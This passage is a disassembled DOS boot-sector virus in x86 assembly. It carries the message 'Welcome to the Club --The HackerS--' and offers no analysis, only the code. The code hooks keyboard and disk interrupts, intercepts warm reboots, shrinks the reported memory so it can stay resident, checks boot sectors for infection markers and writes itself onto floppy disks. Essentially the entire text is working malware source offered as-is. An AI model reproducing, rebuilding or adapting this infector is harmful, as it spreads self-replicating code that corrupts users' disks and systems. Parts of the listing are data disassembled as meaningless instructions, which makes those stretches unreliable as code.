-
- cmp bx,200h
-
- jae loc_0032 ; Jump if above or =
-
- jmp short loc_0030
-
- loc_0032:
-
- cmp byte ptr ds:[703h],9
-
- jb loc_0033 ; Jump if below
-
- xor byte ptr ds:[702h],1
-
- mov byte ptr ds:[703h],1
-
- jmp short loc_0034
-
- loc_0033:
-
- inc byte ptr ds:[703h]
-
- loc_0034:
-
- inc byte ptr ds:[704h]
-
- cmp byte ptr ds:[704h],7
-
- ja loc_0035 ; Jump if above
-
- jmp short loc_0029
-
- loc_0035:
-
- pop di
-
- pop si
-
- pop es
-
- pop ds
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- retn
-
- sub_0007 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0008 proc near
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- xor ah,ah ; Zero register
-
- int 6Fh ; ??int non-standard interrupt
-
- jc loc_0036 ; Jump if carry Set
-
- mov dh,byte ptr ds:[702h]
-
- mov dl,byte ptr ds:[701h]
-
- xor ch,ch ; Zero register
-
- mov cl,byte ptr ds:[703h]
-
- lea bx,cs:[1277h] ; Load effective addr
-
- mov ax,301h
-
- int 6Fh ; ??int non-standard interrupt
-
- loc_0036:
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- retn
-
- sub_0008 endp
-
-
-
- db 0E9h, 0Bh
-
- db 0Ah, 'The HackerS'
-
- db 00h, 00h, 00h, 00h,0AAh,0A8h
-
- db 00h,0AAh,0A0h, 00h, 00h, 00h
-
- db 00h, 0Ah,0AAh,0AAh,0AAh,0AAh
-
- db 0AAh,0A0h, 00h, 20h, 00h, 00h
-
- db 00h, 00h, 00h, 0Ah,0AAh, 80h
-
- db 00h, 00h, 00h, 02h
-
- db 7 dup (0AAh)
-
- db 0A8h, 00h, 2Ah,0AAh, 00h, 00h
-
- db 0F6h, 22h, 28h, 00h, 00h,0EBh
-
- db 66h, 90h, 21h, 00h, 02h, 87h
-
- db 0E9h, 00h,0F0h, 91h, 08h, 00h
-
- db 0C8h, 00h, 00h
-
- db ' Welcome to the'
-
- db ' C l u b --The HackerS--'
-
- db ' Hackin', 27h, ' All T'
-
- db 'he Time '
-
- db 00h, 00h,0FFh,0FFh, 00h, 7Ch
-
- db 00h
-
- db 00h, 9Ch, 50h, 1Eh, 06h, 56h
-
- db 57h, 33h,0C0h, 8Eh,0D8h, 8Eh
-
- db 0C0h, 2Eh,0C6h, 06h, 05h, 04h
-
- db 08h,0A1h, 4Ch, 00h, 3Dh, 26h
-
- db 05h, 74h, 3Fh,0FAh, 2Eh,0FFh
-
- db 06h, 03h, 04h,0A1h, 4Ch, 00h
-
- db 0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah
-
- db 04h,0A1h, 4Eh, 00h,0A3h,0BEh
-
- db 01h, 2Eh,0A3h, 0Ch, 04h,0B8h
-
- db 26h, 05h,0A3h, 4Ch, 00h, 8Ch
-
- db 0C8h,0A3h, 4Eh, 00h,0A1h, 24h
-
- db 00h, 2Eh,0A3h, 06h, 04h,0A1h
-
- db 26h, 00h, 2Eh,0A3h, 08h, 04h
-
- db 0C7h, 06h, 24h, 00h,0D9h, 04h
-
- db 8Ch,0C8h,0A3h, 26h, 00h,0FBh
-
- loc_0039:
-
- push cs
-
- pop ds
-
- mov si,offset data_0041+40h ; (' ')
-
- mov di,data_0011e
-
- mov cx,200h
-
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- pop di
-
- pop si
-
- pop es
-
- pop ds
-
- pop ax
-
- popf ; Pop flags
-
- jmp cs:data_0057
-
- sti ; Enable interrupts
-
- push ax
-
- push cx
-
- push ds
-
- pushf ; Push flags
-
- xor ax,ax ; Zero register
-
- mov ds,ax
-
- in al,60h ; port 60h, keybd scan or sw1
-
- test al,80h
-
- jnz loc_0042 ; Jump if not zero
-
- mov ah,ds:keybd_flags_1_
-
- test ah,8
-
- jz loc_0042 ; Jump if zero
-
- test ah,4
-
- jz loc_0042 ; Jump if zero
-
- cmp al,53h ; 'S'
-
- jne loc_0040 ; Jump if not equal
-
- cmp byte ptr ds:video_mode_,7
-
- je loc_0041 ; Jump if equal
-
- cmp cs:data_0050,3
-
- jb loc_0041 ; Jump if below
-
- ;* call sub_0017 ;*
-
- db 0E8h,0B7h, 02h
-
- jmp short loc_0041
-
- loc_0040:
-
- cmp al,3Fh ; '?'
-
- jne loc_0042 ; Jump if not equal
-
- loc_0041:
-
- mov word ptr ds:warm_boot_flag_,1234h
-
- jmp cs:data_0056
-
- loc_0042:
-
- popf ; Pop flags
-
- pop ds
-
- pop cx
-
- pop ax
-
- jmp dword ptr cs:data_0052
-
- ;* jmp short loc_0044 ;*
-
- db 0EBh, 0Ah
-
- add [bx+di],al
-
- add [bx+di],al
-
- jo loc_0043 ; Jump if overflow=1
-
- loc_0043:
-
- popf ; Pop flags
-
- adc [bp+si],ax
-
- add ds:data_0010e[si],bx
-
- push si
-
- push di
-
- push cs
-
- pop ds
-
- mov byte ptr ds:[528h],dh
-
- mov byte ptr ds:[529h],dl
-
- mov byte ptr ds:[52Ah],ch
-
- mov byte ptr ds:[52Bh],cl
-
- mov word ptr ds:[52Ch],es
-
- mov word ptr ds:[52Eh],bx
-
- mov byte ptr ds:[530h],ah
-
- mov byte ptr data_0066,al ; ('WS EXE ')
-
- cmp ah,2
-
- jb loc_0045 ; Jump if below
-
- cmp ah,5
-
- ja loc_0045 ; Jump if above
-
- cmp dl,1
-
- ja loc_0045 ; Jump if above
-
- cmp ch,0
-
- jne loc_0045 ; Jump if not equal
-
- cmp dh,0
-
- jne loc_0045 ; Jump if not equal
-
- dec cs:data_0051
-
- jz loc_0046 ; Jump if zero
-
- loc_0045:
-
- jmp short loc_0047
-
- loc_0046:
-
- push cs
-
- pop es
-
- mov cs:data_0051,2
-
- call sub_0009
-
- loc_0047:
-
- mov dh,byte ptr ds:[528h]
-
- mov dl,byte ptr ds:[529h]
-
- mov ch,byte ptr ds:[52Ah]
-
- mov cl,byte ptr ds:[52Bh]
-
- mov es,word ptr ds:[52Ch]
-
- mov bx,word ptr ds:[52Eh]
-
- mov ah,byte ptr ds:[530h]
-
- mov al,byte ptr data_0066 ; ('WS EXE ')
-
- pop di
-
- pop si
-
- pop es
-
- pop ds
-
- popf ; Pop flags
-
- jmp dword ptr cs:data_0054
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0009 proc near
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- xor ah,ah ; Zero register
-
- int 6Fh ; ??int non-standard interrupt
-
- jc loc_0050 ; Jump if carry Set
-
- xor dh,dh ; Zero register
-
- mov dl,byte ptr cs:[529h]
-
- mov cx,1
-
- mov bx,200h
-
- mov ax,201h
-
- int 6Fh ; ??int non-standard interrupt
-
- jc loc_0050 ; Jump if carry Set
-
- cmp data_0047,537Ch
-
- je loc_0050 ; Jump if equal
-
- cmp data_0046,0FAFAh
-
- je loc_0048 ; Jump if equal
-
- cmp data_0043,1234h
-
- jne loc_0049 ; Jump if not equal
-
- call sub_0010
-
- jc loc_0050 ; Jump if carry Set
-
- jmp short loc_0049
-
- loc_0048:
-
- ;* call sub_0011 ;*
-
- db 0E8h, 44h, 00h
-
- jc loc_0050 ; Jump if carry Set
-
- loc_0049:
-
- mov bx,200h
-
- ;* call sub_0013 ;*
-
- db 0E8h,0E1h, 00h
-
- jc loc_0050 ; Jump if carry Set
-
- ;* call sub_0012 ;*
-
- db 0E8h, 58h, 00h
-
- loc_0050:
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- retn
-
- sub_0009 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0010 proc near
-
- mul byte ptr [bx+di] ; ax = data * al
-
- sub [bx+si],al
-
- add bl,ch
-
- xor al,90h
-
- dec cx
-
- inc dx
-
- dec bp
-
- and [bx+si],ah
-
- xor bp,ds:data_0036e
-
- add al,[bp+si]
-
- add [bx+si],ax
-
- add dh,[bx+si+0]
-
- rol byte ptr [bp+si],1 ; Rotate
-
- std ; Set direction flag
-
- add al,[bx+si]
-
- or [bx+si],ax
-
- add al,[bx+si]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],dl
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],ax
-
- cli ; Disable interrupts
-
- xor ax,ax ; Zero register
-
- mov ss,ax
-
- mov sp,7C00h
-
- push ss
-
- pop es
-
- mov bx,data_0005e
-
- lds si,dword ptr ss:[bx] ; Load 32 bit ptr
-
- push ds
-
- push si
-
- push ss
-
- push bx
-
- mov di,data_0022e
-
- mov cx,0Bh
-
- cld ; Clear direction
-
-
-
- locloop_0051:
-
- lodsb ; String [si] to al
-
- cmp byte ptr es:[di],0
-
- je loc_0052 ; Jump if equal
-
- mov al,es:[di]
-
- loc_0052:
-
- stosb ; Store al to es:[di]
-
- mov al,ah
-
- loop locloop_0051 ; Loop if cx > 0
-
-
-
- push es
-
- pop ds
-
- mov [bx+2],ax
-
- mov word ptr [bx],7C2Bh
-
- sti ; Enable interrupts
-
- int 13h ; Disk dl=drive ? ah=func 00h
-
- ; reset disk, al=return status
-
- jc loc_0055 ; Jump if carry Set
-
- mov al,ds:data_0014e
-
- cbw ; Convrt byte to word
-
- mul word ptr ds:data_0017e ; ax = data * ax
-
- add ax,ds:data_0020e
-
- add ax,ds:data_0013e
-
- mov ds:data_0028e,ax
-
- mov ds:data_0023e,ax
-
- mov ax,20h
-
- mul word ptr ds:data_0015e ; ax = data * ax
-
- mov bx,ds:data_0012e
-
- add ax,bx
-
- dec ax
-
- div bx ; ax,dx rem=dx:ax/reg
-
- add ds:data_0023e,ax
-
- mov bx,500h
-
- mov ax,ds:data_0028e
-
- call sub_0015
-
- mov ax,201h
-
- call sub_0016
-
- jc loc_0053 ; Jump if carry Set
-
- mov di,bx
-
- mov cx,0Bh
-
- mov si,data_0030e
-
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
-
- jnz loc_0053 ; Jump if not zero
-
- lea di,[bx+20h] ; Load effective addr
-
- mov si,data_0031e
-
- mov cx,0Bh
-
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
-
- jz loc_0056 ; Jump if zero
-
- loc_0053:
-
- mov si,data_0029e
-
- loc_0054:
-
- call sub_0014
-
- xor ah,ah ; Zero register
-
- int 16h ; Keyboard i/o ah=function 00h
-
- ; get keybd char in al, ah=scan
-
- pop si
-
- pop ds
-
- pop word ptr [si]
-
- pop word ptr [si+2]
-
- int 19h ; Bootstrap loader
-
- loc_0055:
-
- mov si,7DC0h
-
- jmp short loc_0054
-
- loc_0056:
-
- mov ax,ds:data_0009e
-
- xor dx,dx ; Zero register
-
- div word ptr ds:data_0012e ; ax,dxrem=dx:ax/data
-
- inc al
-
- mov ds:data_0026e,al
-
- mov ax,ds:data_0023e
-
- mov ds:data_0027e,ax
-
- mov bx,700h
-
- loc_0057:
-
- mov ax,ds:data_0023e
-
- call sub_0015
-
- mov ax,ds:data_0018e
-
- sub al,ds:data_0025e
-
- inc ax
-
- cmp ds:data_0026e,al
-
- jae loc_0058 ; Jump if above or =
-
- mov al,ds:data_0026e
-
- loc_0058:
-
- push ax
-
- call sub_0016
-
- pop ax
-
- jc loc_0055 ; Jump if carry Set
-
- sub ds:data_0026e,al
-
- jz loc_0059 ; Jump if zero
-
- add ds:data_0023e,ax
-
- mul word ptr ds:data_0012e ; ax = data * ax
-
- add bx,ax
-
- jmp short loc_0057
-
- loc_0059:
-
- mov ch,ds:data_0016e
-
- mov dl,ds:data_0032e
-
- mov bx,ds:data_0027e
-
- ;* jmp far ptr loc_0001 ;*
-
- sub_0010 endp
-
-
-
- db 0EAh, 00h, 00h, 70h, 00h
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0014 proc near
-
- loc_0060:
-
- lodsb ; String [si] to al
-
- or al,al ; Zero ?
-
- jz loc_ret_0061 ; Jump if zero
-
- mov ah,0Eh
-
- mov bx,7
-
- int 10h ; Video display ah=functn 0Eh
-
- ; write char al, teletype mode
-
- jmp short loc_0060
-
-
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
-
-
- sub_0015:
-
- xor dx,dx ; Zero register
-
- div word ptr ds:data_0018e ; ax,dxrem=dx:ax/data
-
- inc dl
-
- mov ds:data_0025e,dl
-
- xor dx,dx ; Zero register
-
- div word ptr ds:data_0019e ; ax,dxrem=dx:ax/data
-
- mov ds:data_0021e,dl
-
- mov ds:data_0024e,ax
-
-
-
- loc_ret_0061:
-
- retn
-
- sub_0014 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0016 proc near
-
- mov ah,2
-
- mov dx,ds:data_0024e
-
- mov cl,6
-
- shl dh,cl ; Shift w/zeros fill
-
- or dh,ds:data_0025e
-
- mov cx,dx
-
- xchg ch,cl
-
- mov dl,ds:data_0032e
-
- mov dh,ds:data_0021e
-
- int 13h ; Disk dl=drive ? ah=func 02h
-
- ; read sectors to memory es:bx
-
- ; al=#,ch=cyl,cl=sectr,dh=head
-
- retn
-
- sub_0016 endp
-
-
-
- db 0Dh, 0Ah, 'Non-System disk or dis'
-
- db 'k error', 0Dh, 0Ah, 'Replace and'
-
- db ' strike any key when ready', 0Dh
-
- db 0Ah, 0
-
- db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
-
- db 0Ah, 0
-
- db 'IBMBIO COMIBMDOS COM'
-
- db 18 dup (0)
-
- db 55h,0AAh, 00h, 03h, 00h, 00h
-
- db 01h, 00h, 02h, 00h, 00h, 01h
-
- db 00h, 01h, 00h, 00h, 01h, 00h
-
- db 09h, 00h, 00h, 00h, 00h, 08h
-
- db 00h, 00h, 00h, 00h, 07h, 00h
-
- db 00h, 00h, 00h, 06h, 00h, 00h
-
- db 00h, 00h, 05h, 00h, 00h, 00h
-
- db 0F6h, 04h, 00h, 00h, 00h,0FDh
-
- db 0FFh,0FFh, 00h
-
- db 509 dup (0)
-
- db 03h, 00h, 00h, 00h,0F6h, 02h
-
- db 00h, 00h, 00h,0FDh,0FFh,0FFh
-
- db 00h
-
- db 508 dup (0)
-
- db 0F6h, 01h, 00h, 00h, 00h,0EBh
-
- db 29h, 90h, 22h, 34h, 12h, 00h
-
- db 01h, 00h, 00h, 00h, 00h, 02h
-
- db 02h, 01h, 00h, 02h, 70h, 00h
-
- db 0D0h, 02h,0FDh, 02h, 00h, 09h
-
- db 00h, 02h, 00h
-
- db 8 dup (0)
-
- db 0Fh, 00h, 00h, 00h, 00h, 01h
-
- db 00h
-
- db 0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h
-
- db 8Eh,0D0h,0BCh, 00h,0F0h,0FBh
-
- db 0B8h, 78h, 7Ch, 50h,0C3h, 73h
-
- db 0Ah
-
- db 0BBh, 90h, 7Ch, 53h,0C3h,0B9h
-
- db 0B0h, 7Ch, 51h,0C3h
-
- loc_0064:
-
- xor ax,ax ; Zero register
-
- mov ds,ax
-
- mov ax,ds:main_ram_size_
-
- cmp word ptr ds:data_0008e,0
-
- jne loc_0065 ; Jump if not equal
-
- mov ds:data_0008e,ax
-
- sub ax,7
-
- mov ds:main_ram_size_,ax
-
- loc_0065:
-
- mov cl,6
-
- shl ax,cl ; Shift w/zeros fill
-
- push cs
-
- pop ds
-
- mov es,ax
-
- mov si,data_0164e
-
- xor di,di ; Zero register
-
- mov cx,1400h
-
- cld ; Clear direction
-
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- push es
-
- mov ax,400h
-
- push ax
-
- retf
-
- xor ah,ah ; Zero register
-
- int 13h ; Disk dl=drive a ah=func 00h
-
- ; reset disk, al=return status
-
- jc loc_0066 ; Jump if carry Set
-
- xor dx,dx ; Zero register
-
- mov cx,2821h
-
- mov bx,data_0178e
-
- mov ax,209h
-
- int 13h ; Disk dl=drive a ah=func 02h
-
- ; read sectors to memory es:bx
-
- ; al=#,ch=cyl,cl=sectr,dh=head
-
- loc_0066:
-
- ;* mov ax,offset loc_0077 ;*
-
- db 0B8h, 3Ch, 7Ch
-
- push ax
-
- retn
-
- db 0BEh, 5Fh, 7Dh,0B9h, 48h, 00h
-
-
-
- locloop_0067:
-
- xor bh,bh ; Zero register
-
- mov al,[si]
-
- mov ah,0Eh
-
- int 10h ; Video display ah=functn 0Eh
-
- ; write char al, teletype mode
-
- inc si
-
- loop locloop_0067 ; Loop if cx > 0
-
-
-
- loc_0068:
-
- xor ah,ah ; Zero register
-
- int 16h ; Keyboard i/o ah=function 00h
-
- ; get keybd char in al, ah=scan
-
- mov ah,1
-
- int 16h ; Keyboard i/o ah=function 01h
-
- ; get status, if zf=0 al=char
-
- jnz loc_0068 ; Jump if not zero
-
- ;* mov bx,offset loc_0078 ;*
-
- db 0BBh, 43h, 7Ch
-
- push bx
-
- retn
-
- mov ax,cs
-
- mov ds,ax
-
- mov es,ax
-
- mov si,data_0176e
-
- mov di,data_0178e
-
- mov cx,18h
-
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- ;* mov di,offset loc_0081 ;*
-
- db 0BFh, 00h, 7Eh
-
- push di
-
- retn
-
- db 32h,0E4h,0CDh, 13h
-
- loc_0069:
-
- jc loc_0070 ; Jump if carry Set
-
- xor dx,dx ; Zero register
-
- mov cx,1
-
- mov bx,data_0164e
-
- mov ax,201h
-
- int 13h ; Disk dl=drive a ah=func 02h
-
- ; read sectors to memory es:bx
-
- ; al=#,ch=cyl,cl=sectr,dh=head
-
- loc_0070:
-
- ;* mov bx,offset loc_0076 ;*
-
- db 0BBh, 00h, 7Ch
-
- push bx
-
- retn
-
- sub al,7Ch ; '|'
-
- mov ds:data_0175e,ax
-
- mov bx,700h
-
- loc_0071:
-
- mov ax,ds:data_0171e
-
- call sub_0018
-
- mov ax,ds:data_0167e
-
- sub al,ds:data_0173e
-
- inc ax
-
- push ax
-
- call sub_0019
-
- pop ax
-
- jc loc_0069 ; Jump if carry Set
-
- sub ds:data_0174e,al
-
- jbe loc_0072 ; Jump if below or =
-
- add ds:data_0171e,ax
-
- mul word ptr ds:data_0165e ; ax = data * ax
-
- add bx,ax
-
- jmp short loc_0071
-
- loc_0072:
-
- mov ch,ds:data_0166e
-
- mov dl,ds:data_0169e
-
- mov bx,ds:data_0175e
-
- ;* jmp far ptr loc_0001 ;*
-
- db 0EAh, 00h, 00h, 70h, 00h
-
- loc_0073:
-
- lodsb ; String [si] to al
-
- or al,al ; Zero ?
-
- jz loc_ret_0074 ; Jump if zero
-
- mov ah,0Eh
-
- mov bx,7
-
- int 10h ; Video display ah=functn 0Eh
-
- ; write char al, teletype mode
-
- jmp short loc_0073
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0018 proc near
-
- xor dx,dx ; Zero register
-
- div word ptr ds:data_0167e ; ax,dxrem=dx:ax/data
-
- inc dl
-
- mov ds:data_0173e,dl
-
- xor dx,dx ; Zero register
-
- div word ptr ds:data_0168e ; ax,dxrem=dx:ax/data
-
- mov byte ptr ds:data_0169e+1,dl
-
- mov ds:data_0172e,ax
-
-
-
- loc_ret_0074:
-
- retn
-
- sub_0018 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0019 proc near
-
- mov ah,2
-
- mov dx,ds:data_0172e
-
- mov cl,6
-
- shl dh,cl ; Shift w/zeros fill
-
- or dh,ds:data_0173e
-
- mov cx,dx
-
- xchg ch,cl
-
- mov dx,ds:data_0169e
-
- int 13h ; Disk dl=drive a ah=func 02h
-
- ; read sectors to memory es:bx
-
- ; al=#,ch=cyl,cl=sectr,dh=head
-
- retn
-
- sub_0019 endp
-
-
-
- db 0Dh, 0Ah, 'Non-System disk or dis'
-
- db 'k error', 0Dh, 0Ah, 'Replace and'
-
- db ' strike any key when ready', 0Dh
-
- db 0Ah, 0
-
- db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
-
- db 0Ah, 0
-
- db 'IBMBIO COMIBMDOS COM'
-
- db 42 dup (0)
-
- db 55h,0AAh
-
-
-
- seg_a ends
-
-
-
-
-
-
-
- end start
-
-